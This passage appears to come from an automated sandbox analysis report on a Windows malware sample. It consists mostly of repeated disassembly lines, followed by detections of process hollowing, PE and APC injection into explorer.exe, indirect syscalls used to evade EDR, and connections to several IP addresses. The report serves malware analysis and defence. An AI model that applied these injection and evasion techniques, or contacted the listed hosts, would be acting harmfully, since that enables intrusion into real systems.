          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01194690 mov eax, dword ptr fs:[00000030h]4_2_01194690
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01194690 mov eax, dword ptr fs:[00000030h]4_2_01194690
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011C66B0 mov eax, dword ptr fs:[00000030h]4_2_011C66B0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011CC6A6 mov eax, dword ptr fs:[00000030h]4_2_011CC6A6
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012106F1 mov eax, dword ptr fs:[00000030h]4_2_012106F1
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012106F1 mov eax, dword ptr fs:[00000030h]4_2_012106F1
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0120E6F2 mov eax, dword ptr fs:[00000030h]4_2_0120E6F2
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0120E6F2 mov eax, dword ptr fs:[00000030h]4_2_0120E6F2
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0120E6F2 mov eax, dword ptr fs:[00000030h]4_2_0120E6F2
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0120E6F2 mov eax, dword ptr fs:[00000030h]4_2_0120E6F2
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011CA6C7 mov ebx, dword ptr fs:[00000030h]4_2_011CA6C7
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011CA6C7 mov eax, dword ptr fs:[00000030h]4_2_011CA6C7
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01188918 mov eax, dword ptr fs:[00000030h]4_2_01188918
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01188918 mov eax, dword ptr fs:[00000030h]4_2_01188918
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0122892B mov eax, dword ptr fs:[00000030h]4_2_0122892B
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0121892A mov eax, dword ptr fs:[00000030h]4_2_0121892A
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0120E908 mov eax, dword ptr fs:[00000030h]4_2_0120E908
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0120E908 mov eax, dword ptr fs:[00000030h]4_2_0120E908
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0121C912 mov eax, dword ptr fs:[00000030h]4_2_0121C912
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01234978 mov eax, dword ptr fs:[00000030h]4_2_01234978
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01234978 mov eax, dword ptr fs:[00000030h]4_2_01234978
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0121C97C mov eax, dword ptr fs:[00000030h]4_2_0121C97C
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01264940 mov eax, dword ptr fs:[00000030h]4_2_01264940
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01210946 mov eax, dword ptr fs:[00000030h]4_2_01210946
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D096E mov eax, dword ptr fs:[00000030h]4_2_011D096E
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D096E mov edx, dword ptr fs:[00000030h]4_2_011D096E
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D096E mov eax, dword ptr fs:[00000030h]4_2_011D096E
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011B6962 mov eax, dword ptr fs:[00000030h]4_2_011B6962
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011B6962 mov eax, dword ptr fs:[00000030h]4_2_011B6962
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011B6962 mov eax, dword ptr fs:[00000030h]4_2_011B6962
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012189B3 mov esi, dword ptr fs:[00000030h]4_2_012189B3
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012189B3 mov eax, dword ptr fs:[00000030h]4_2_012189B3
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012189B3 mov eax, dword ptr fs:[00000030h]4_2_012189B3
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011909AD mov eax, dword ptr fs:[00000030h]4_2_011909AD
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011909AD mov eax, dword ptr fs:[00000030h]4_2_011909AD
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A29A0 mov eax, dword ptr fs:[00000030h]4_2_011A29A0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A29A0 mov eax, dword ptr fs:[00000030h]4_2_011A29A0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A29A0 mov eax, dword ptr fs:[00000030h]4_2_011A29A0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A29A0 mov eax, dword ptr fs:[00000030h]4_2_011A29A0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A29A0 mov eax, dword ptr fs:[00000030h]4_2_011A29A0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A29A0 mov eax, dword ptr fs:[00000030h]4_2_011A29A0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A29A0 mov eax, dword ptr fs:[00000030h]4_2_011A29A0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A29A0 mov eax, dword ptr fs:[00000030h]4_2_011A29A0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A29A0 mov eax, dword ptr fs:[00000030h]4_2_011A29A0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A29A0 mov eax, dword ptr fs:[00000030h]4_2_011A29A0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A29A0 mov eax, dword ptr fs:[00000030h]4_2_011A29A0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A29A0 mov eax, dword ptr fs:[00000030h]4_2_011A29A0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A29A0 mov eax, dword ptr fs:[00000030h]4_2_011A29A0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0121E9E0 mov eax, dword ptr fs:[00000030h]4_2_0121E9E0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0119A9D0 mov eax, dword ptr fs:[00000030h]4_2_0119A9D0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0119A9D0 mov eax, dword ptr fs:[00000030h]4_2_0119A9D0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0119A9D0 mov eax, dword ptr fs:[00000030h]4_2_0119A9D0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0119A9D0 mov eax, dword ptr fs:[00000030h]4_2_0119A9D0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0119A9D0 mov eax, dword ptr fs:[00000030h]4_2_0119A9D0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0119A9D0 mov eax, dword ptr fs:[00000030h]4_2_0119A9D0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011C49D0 mov eax, dword ptr fs:[00000030h]4_2_011C49D0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012269C0 mov eax, dword ptr fs:[00000030h]4_2_012269C0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011C29F9 mov eax, dword ptr fs:[00000030h]4_2_011C29F9
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011C29F9 mov eax, dword ptr fs:[00000030h]4_2_011C29F9
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0125A9D3 mov eax, dword ptr fs:[00000030h]4_2_0125A9D3
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0123483A mov eax, dword ptr fs:[00000030h]4_2_0123483A
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0123483A mov eax, dword ptr fs:[00000030h]4_2_0123483A
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011CA830 mov eax, dword ptr fs:[00000030h]4_2_011CA830
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011B2835 mov eax, dword ptr fs:[00000030h]4_2_011B2835
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011B2835 mov eax, dword ptr fs:[00000030h]4_2_011B2835
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011B2835 mov eax, dword ptr fs:[00000030h]4_2_011B2835
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011B2835 mov ecx, dword ptr fs:[00000030h]4_2_011B2835
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011B2835 mov eax, dword ptr fs:[00000030h]4_2_011B2835
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011B2835 mov eax, dword ptr fs:[00000030h]4_2_011B2835
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0121C810 mov eax, dword ptr fs:[00000030h]4_2_0121C810
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01194859 mov eax, dword ptr fs:[00000030h]4_2_01194859
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01194859 mov eax, dword ptr fs:[00000030h]4_2_01194859
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011C0854 mov eax, dword ptr fs:[00000030h]4_2_011C0854
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01226870 mov eax, dword ptr fs:[00000030h]4_2_01226870
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01226870 mov eax, dword ptr fs:[00000030h]4_2_01226870
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0121E872 mov eax, dword ptr fs:[00000030h]4_2_0121E872
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0121E872 mov eax, dword ptr fs:[00000030h]4_2_0121E872
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A2840 mov ecx, dword ptr fs:[00000030h]4_2_011A2840
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01190887 mov eax, dword ptr fs:[00000030h]4_2_01190887
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0121C89D mov eax, dword ptr fs:[00000030h]4_2_0121C89D
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0125A8E4 mov eax, dword ptr fs:[00000030h]4_2_0125A8E4
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011BE8C0 mov eax, dword ptr fs:[00000030h]4_2_011BE8C0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011CC8F9 mov eax, dword ptr fs:[00000030h]4_2_011CC8F9
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011CC8F9 mov eax, dword ptr fs:[00000030h]4_2_011CC8F9
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012608C0 mov eax, dword ptr fs:[00000030h]4_2_012608C0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01258B28 mov eax, dword ptr fs:[00000030h]4_2_01258B28
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01258B28 mov eax, dword ptr fs:[00000030h]4_2_01258B28
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01264B00 mov eax, dword ptr fs:[00000030h]4_2_01264B00
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011BEB20 mov eax, dword ptr fs:[00000030h]4_2_011BEB20
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011BEB20 mov eax, dword ptr fs:[00000030h]4_2_011BEB20
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0120EB1D mov eax, dword ptr fs:[00000030h]4_2_0120EB1D
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0120EB1D mov eax, dword ptr fs:[00000030h]4_2_0120EB1D
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0120EB1D mov eax, dword ptr fs:[00000030h]4_2_0120EB1D
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0120EB1D mov eax, dword ptr fs:[00000030h]4_2_0120EB1D
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0120EB1D mov eax, dword ptr fs:[00000030h]4_2_0120EB1D
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0120EB1D mov eax, dword ptr fs:[00000030h]4_2_0120EB1D
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0120EB1D mov eax, dword ptr fs:[00000030h]4_2_0120EB1D
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0120EB1D mov eax, dword ptr fs:[00000030h]4_2_0120EB1D
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0120EB1D mov eax, dword ptr fs:[00000030h]4_2_0120EB1D
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01188B50 mov eax, dword ptr fs:[00000030h]4_2_01188B50
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01238B42 mov eax, dword ptr fs:[00000030h]4_2_01238B42
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01226B40 mov eax, dword ptr fs:[00000030h]4_2_01226B40
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01226B40 mov eax, dword ptr fs:[00000030h]4_2_01226B40
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0125AB40 mov eax, dword ptr fs:[00000030h]4_2_0125AB40
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0118CB7E mov eax, dword ptr fs:[00000030h]4_2_0118CB7E
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01244B4B mov eax, dword ptr fs:[00000030h]4_2_01244B4B
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01244B4B mov eax, dword ptr fs:[00000030h]4_2_01244B4B
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01262B57 mov eax, dword ptr fs:[00000030h]4_2_01262B57
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01262B57 mov eax, dword ptr fs:[00000030h]4_2_01262B57
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01262B57 mov eax, dword ptr fs:[00000030h]4_2_01262B57
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01262B57 mov eax, dword ptr fs:[00000030h]4_2_01262B57
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0123EB50 mov eax, dword ptr fs:[00000030h]4_2_0123EB50
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01244BB0 mov eax, dword ptr fs:[00000030h]4_2_01244BB0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01244BB0 mov eax, dword ptr fs:[00000030h]4_2_01244BB0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A0BBE mov eax, dword ptr fs:[00000030h]4_2_011A0BBE
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A0BBE mov eax, dword ptr fs:[00000030h]4_2_011A0BBE
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011B0BCB mov eax, dword ptr fs:[00000030h]4_2_011B0BCB
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011B0BCB mov eax, dword ptr fs:[00000030h]4_2_011B0BCB
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011B0BCB mov eax, dword ptr fs:[00000030h]4_2_011B0BCB
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0121CBF0 mov eax, dword ptr fs:[00000030h]4_2_0121CBF0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01190BCD mov eax, dword ptr fs:[00000030h]4_2_01190BCD
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01190BCD mov eax, dword ptr fs:[00000030h]4_2_01190BCD
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01190BCD mov eax, dword ptr fs:[00000030h]4_2_01190BCD
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011BEBFC mov eax, dword ptr fs:[00000030h]4_2_011BEBFC
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01198BF0 mov eax, dword ptr fs:[00000030h]4_2_01198BF0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01198BF0 mov eax, dword ptr fs:[00000030h]4_2_01198BF0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01198BF0 mov eax, dword ptr fs:[00000030h]4_2_01198BF0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0123EBD0 mov eax, dword ptr fs:[00000030h]4_2_0123EBD0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011B4A35 mov eax, dword ptr fs:[00000030h]4_2_011B4A35
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011B4A35 mov eax, dword ptr fs:[00000030h]4_2_011B4A35
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0121CA11 mov eax, dword ptr fs:[00000030h]4_2_0121CA11
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011BEA2E mov eax, dword ptr fs:[00000030h]4_2_011BEA2E
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011CCA24 mov eax, dword ptr fs:[00000030h]4_2_011CCA24
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A0A5B mov eax, dword ptr fs:[00000030h]4_2_011A0A5B
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A0A5B mov eax, dword ptr fs:[00000030h]4_2_011A0A5B
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0123EA60 mov eax, dword ptr fs:[00000030h]4_2_0123EA60
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01196A50 mov eax, dword ptr fs:[00000030h]4_2_01196A50
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01196A50 mov eax, dword ptr fs:[00000030h]4_2_01196A50
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01196A50 mov eax, dword ptr fs:[00000030h]4_2_01196A50
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01196A50 mov eax, dword ptr fs:[00000030h]4_2_01196A50
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01196A50 mov eax, dword ptr fs:[00000030h]4_2_01196A50
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01196A50 mov eax, dword ptr fs:[00000030h]4_2_01196A50
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01196A50 mov eax, dword ptr fs:[00000030h]4_2_01196A50
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0120CA72 mov eax, dword ptr fs:[00000030h]4_2_0120CA72
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0120CA72 mov eax, dword ptr fs:[00000030h]4_2_0120CA72
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011CCA6F mov eax, dword ptr fs:[00000030h]4_2_011CCA6F
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011CCA6F mov eax, dword ptr fs:[00000030h]4_2_011CCA6F
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011CCA6F mov eax, dword ptr fs:[00000030h]4_2_011CCA6F
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011C8A90 mov edx, dword ptr fs:[00000030h]4_2_011C8A90
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0119EA80 mov eax, dword ptr fs:[00000030h]4_2_0119EA80
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0119EA80 mov eax, dword ptr fs:[00000030h]4_2_0119EA80
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0119EA80 mov eax, dword ptr fs:[00000030h]4_2_0119EA80
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0119EA80 mov eax, dword ptr fs:[00000030h]4_2_0119EA80
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0119EA80 mov eax, dword ptr fs:[00000030h]4_2_0119EA80
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0119EA80 mov eax, dword ptr fs:[00000030h]4_2_0119EA80
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0119EA80 mov eax, dword ptr fs:[00000030h]4_2_0119EA80
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0119EA80 mov eax, dword ptr fs:[00000030h]4_2_0119EA80
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0119EA80 mov eax, dword ptr fs:[00000030h]4_2_0119EA80
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01264A80 mov eax, dword ptr fs:[00000030h]4_2_01264A80
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01198AA0 mov eax, dword ptr fs:[00000030h]4_2_01198AA0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01198AA0 mov eax, dword ptr fs:[00000030h]4_2_01198AA0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_008A889E memset,WinSqmAddToStreamEx,SysFreeString,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,6_2_008A889E
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess token adjusted: DebugJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess token adjusted: DebugJump to behavior
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_008C0C80 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,6_2_008C0C80
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeMemory allocated: page read and write | page guardJump to behavior

          HIPS / PFW / Operating System Protection Evasion

          barindex
          System process connects to network (likely due to code injection or exploit)
          Source: C:\Windows\explorer.exeNetwork Connect: 3.226.182.14 80Jump to behavior
          Source: C:\Windows\explorer.exeNetwork Connect: 185.53.179.90 80Jump to behavior
          Source: C:\Windows\explorer.exeNetwork Connect: 185.151.30.212 80Jump to behavior
          Source: C:\Windows\explorer.exeNetwork Connect: 147.92.43.172 80Jump to behavior
          Source: C:\Windows\explorer.exeNetwork Connect: 3.33.130.190 80Jump to behavior
          Source: C:\Windows\explorer.exeNetwork Connect: 104.21.74.89 80Jump to behavior
          Found direct / indirect Syscall (likely to bypass EDR)
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeNtQueueApcThread: Indirect: 0xE8A4F2Jump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeNtClose: Indirect: 0xE8A56C
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeNtClose: Indirect: 0x10DA56C
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeNtQueueApcThread: Indirect: 0x10DA4F2Jump to behavior
          Injects a PE file into a foreign processes
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeMemory written: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exe base: 400000 value starts with: 4D5AJump to behavior
          Maps a DLL or memory area into another process
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeSection loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and writeJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeSection loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and writeJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeSection loaded: NULL target: C:\Windows\SysWOW64\msdt.exe protection: execute and read and writeJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeSection loaded: NULL target: C:\Windows\SysWOW64\msdt.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\SysWOW64\msdt.exeSection loaded: NULL target: C:\Windows\explorer.exe protection: read writeJump to behavior
          Source: C:\Windows\SysWOW64\msdt.exeSection loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and writeJump to behavior
          Modifies the context of a thread in another process (thread injection)
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeThread register set: target process: 2580Jump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeThread register set: target process: 2580Jump to behavior
          Source: C:\Windows\SysWOW64\msdt.exeThread register set: target process: 2580Jump to behavior
          Queues an APC in another process (thread injection)
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeThread APC queued: target process: C:\Windows\explorer.exeJump to behavior
          Sample uses process hollowing technique
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeSection unmapped: C:\Windows\SysWOW64\msdt.exe base address: 870000Jump to behavior
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_00892710 memset,GetModuleFileNameW,GetLastError,ShellExecuteExW,CreateThread,GetLastError,GetProcessHeap,HeapFree,GetLastError,6_2_00892710
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess created: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exe "C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exe"Jump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess created: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exe "C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exe"Jump to behavior
